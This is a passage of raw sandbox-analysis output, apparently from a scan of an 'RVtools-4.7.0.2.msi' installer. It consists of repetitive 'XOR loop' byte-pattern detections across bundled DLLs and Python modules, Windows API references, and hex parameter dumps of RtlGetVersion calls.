3074900; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3074955; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075031; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075106; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075192; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075322; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075441; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3075535; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3079409; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3079441; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081304; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081400; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081487; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081599; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081707; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081818; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3081922; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082024; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082785; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082871; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082944; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3082999; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083083; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083205; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083291; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083297; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083371; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083471; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083557; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083662; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083728; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083789; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083855; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3083955; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084055; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084103; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084157; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084252; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084340; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084444; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084510; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084563; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084635; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084815; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084878; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084959; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3084990; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085096; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085197; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085321; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085405; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085462; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085544; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085601; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085654; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085691; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085744; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085850; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3085942; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086042; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086147; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086244; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086358; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086449; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086464; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086529; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086634; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086688; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3086779; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087183; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087493; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087599; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087844; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087955; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3087998; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088039; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088083; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088146; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088185; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088238; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088335; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088437; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088524; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3088769; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3218143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3218175; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3219417; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3226159; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3226191; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3227591; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3326189; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3326199; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3326239; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3509459; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3509539; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3552739; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3552851; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3553495; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3554022; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3554407; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3554410; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3554416; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3561142; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3561304; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3675515; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3781584; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3806620; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 253212; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 307435; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 363114; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1961781; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2016310; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2700155; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4160114; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4161521; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4162160; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284553; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284569; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284649; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284665; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284745; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284761; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284777; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284793; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284809; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284841; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284857; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284937; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4284953; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285033; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285049; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285129; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285145; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285225; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285241; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285321; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285337; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285417; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285433; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285513; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4285529; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4528808; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4528828; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4668369; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4668373; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4668393; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4668397; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4921560; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4975692; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5002924; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5046220; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070653; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070657; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070665; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070669; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070677; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070681; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070689; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070693; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5070701; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5184145; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5187020; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5187267; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 971411; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 971431; code bytes = 30d0 Found XOR loop in file "sqlite3.dll" at offset 35191; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35277; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35357; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35443; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35480; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35521; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35551; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35642; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 35759; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 419430; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 419435; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 865373; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 865476; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1087292; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1110529; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1254216; code bytes = 33c1 Found XOR loop in file "sqlite3.dll" at offset 1459520; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1459696; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1508508; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1533073; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1535946; code bytes = 8030 Found XOR loop in file "sqlite3.dll" at offset 1536193; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 35891; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 35971; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 302334; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 312819; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 312931; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 313575; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314102; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314487; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314490; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 314496; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 511386; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 511548; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 266421; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 475460; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 779409; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 782284; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 782531; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 222450; code bytes = 33c1 Found XOR loop in file "Python.Runtime.dll" at offset 317859; code bytes = 33c1 Found XOR loop in file "Python.Runtime.dll" at offset 43496; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 45582; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 138646; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 156733; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 262140; code bytes = 8030 Found XOR loop in file "Python.Runtime.dll" at offset 293118; code bytes = 8030 Found XOR loop in file "python.exe" at offset 2784; code bytes = 33c1 Found XOR loop in file "python.exe" at offset 12030; code bytes = 30040e Found XOR loop in file "python.exe" at offset 5168; code bytes = 8030 Found XOR loop in file "python.exe" at offset 6408; code bytes = 8030 Found XOR loop in file "python.exe" at offset 22735; code bytes = 8030 Found XOR loop in file "python.exe" at offset 27342; code bytes = 8030 Found XOR loop in file "python.exe" at offset 49290; code bytes = 8030 Found XOR loop in file "python.exe" at offset 95377; code bytes = 8030 Found XOR loop in file "python.exe" at offset 98250; code bytes = 8030 Found XOR loop in file "python.exe" at offset 98497; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 23731; code bytes = 30d0 Found XOR loop in file "UsbService86.exe" at offset 26442; code bytes = 30d0 Found XOR loop in file "UsbService86.exe" at offset 48780; code bytes = 30d0 Found XOR loop in file "UsbService86.exe" at offset 2808; code bytes = 33c1 Found XOR loop in file "UsbService86.exe" at offset 5184; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 6380; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 13653; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 93841; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 96714; code bytes = 8030 Found XOR loop in file "UsbService86.exe" at offset 96961; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 60561; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 63433; code bytes = 8030 Found XOR loop in file "python3.dll" at offset 63680; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 14812; code bytes = 33c1 Found XOR loop in file "vcruntime140_1.dll" at offset 35124; code bytes = 8030 Found XOR loop in file "vcruntime140_1.dll" at offset 45313; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 193316; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 359720; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 387528; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 449620; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 811105; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 811146; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 811428; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 813230; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 821801; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 821857; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 821913; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 841513; code bytes = 30d0 Found XOR loop in file "unicodedata.pyd" at offset 8328; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 815829; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 816449; code bytes = 33c1 Found XOR loop in file "unicodedata.pyd" at offset 214492; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 274332; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 333496; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 453348; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 657376; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1130129; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1133002; code bytes = 8030 Found XOR loop in file "unicodedata.pyd" at offset 1133249; code bytes = 8030 Found XOR loop in file "MSIC2B7.tmp" at offset 287653; code bytes = 30d0 Found XOR loop in file "MSIC2B7.tmp" at offset 290911; code bytes = 30d0 Found XOR loop in file "MSIC2B7.tmp" at offset 106481; code bytes = 33c1 Found XOR loop in file "MSIC2B7.tmp" at offset 109855; code bytes = 33c1 Found XOR loop in file "MSIC2B7.tmp" at offset 257638; code bytes = 33c1 Found XOR loop in file "MSIC2B7.tmp" at offset 283471; code bytes = 33c1 Found XOR loop in file "MSIC2B7.tmp" at offset 283727; code bytes = 33c1 Found XOR loop in file "MSIC2B7.tmp" at offset 50284; code bytes = 8030 Found XOR loop in file "MSIC2B7.tmp" at offset 62634; code bytes = 8030 Found XOR loop in file "MSIC2B7.tmp" at offset 282764; code bytes = 8030 Found XOR loop in file "MSIC2B7.tmp" at offset 284586; code bytes = 8030 Found XOR loop in file "MSIC2B7.tmp" at offset 285520; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 128856; code bytes = 33c1 Found XOR loop in file "_decimal.pyd" at offset 57454; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 191147; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 205984; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 207287; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 229524; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 243857; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 246729; code bytes = 8030 Found XOR loop in file "_decimal.pyd" at offset 246976; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 51124; code bytes = 30d0 Found XOR loop in file "MSIB386.tmp" at offset 196668; code bytes = 30d0 Found XOR loop in file "MSIB386.tmp" at offset 208357; code bytes = 30d0 Found XOR loop in file "MSIB386.tmp" at offset 208865; code bytes = 30d0 Found XOR loop in file "MSIB386.tmp" at offset 135471; code bytes = 33c1 Found XOR loop in file "MSIB386.tmp" at offset 136092; code bytes = 33c1 Found XOR loop in file "MSIB386.tmp" at offset 121740; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 121808; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 121967; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 121972; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 202388; code bytes = 8030 Found XOR loop in file "MSIB386.tmp" at offset 204658; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 29194; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 29530; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 29609; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 62520; code bytes = 33c1 Found XOR loop in file "pyexpat.pyd" at offset 193681; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 196553; code bytes = 8030 Found XOR loop in file "pyexpat.pyd" at offset 196800; code bytes = 8030 Found XOR loop in file "_cffi_backend.cp312-win_amd64.pyd" at offset 103865; code bytes = 30d0 Found XOR loop in file "_cffi_backend.cp312-win_amd64.pyd" at offset 107447; code bytes = 33c1 Found XOR loop in file "_cffi_backend.cp312-win_amd64.pyd" at offset 174204; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 8456; code bytes = 33c1 Found XOR loop in file "_ssl.pyd" at offset 170641; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 173513; code bytes = 8030 Found XOR loop in file "_ssl.pyd" at offset 173760; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 1845; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 2666; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 3217; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 7874; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15830; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15881; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 15937; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55931; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 55940; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56150; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56611; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 56618; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57081; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57268; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57635; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 57805; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58016; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58167; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58324; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58554; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58692; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 58926; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 77384; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 91077; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 91440; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 91699; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 92002; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 54382; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 152209; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 155082; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 155329; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 31400; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 6460; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 125585; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 128458; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 128705; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 21896; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 117393; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 120266; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 120513; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 6132; code bytes = 30d0 Found XOR loop in file "_sqlite3.pyd" at offset 44712; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 116881; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 119754; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 120001; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 39736; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 77457; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 80329; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 80576; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 9144; code bytes = 33c1 Found XOR loop in file "_socket.pyd" at offset 75409; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 78282; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 78529; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 65422; code bytes = 30d0 Found XOR loop in file "_asyncio.pyd" at offset 4616; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 18076; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 63633; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 66506; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 66753; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 13944; code bytes = 33c1 Found XOR loop in file "_hashlib.pyd" at offset 58001; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 60873; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 61120; code bytes = 803030:T44f,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "RVtools-4.7.0.2.msi") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "RVtools-4.7.0.2.msi") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; File: "RVtools-4.7.0.2.msi") file/memory contains long string with (Indicator: "sendmessage"; File: "nsExec.dll") file/memory contains long string with (Indicator: "findwindow"; File: "MSIC2B7.tmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp")31:T29d7,"start.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000078eafa00000000001800000000000000939c1000c9c90000df97360100000000020000000000000010eafa0000000000a05435010000000030973601000000001c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000007a97fc7f00006214fd5a58a90000e0467a97fc7f0000e09736010000000098067b97fc7f0000c08a36010000000000006c95fc7f00000000000000000000e0467a97fc7f00000300000000000000f385cb97fc7f00006e477a97fc7f00002766cb97fc7f000050eafa00 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004460) "start.exe" called "RtlGetVersion" with parameter 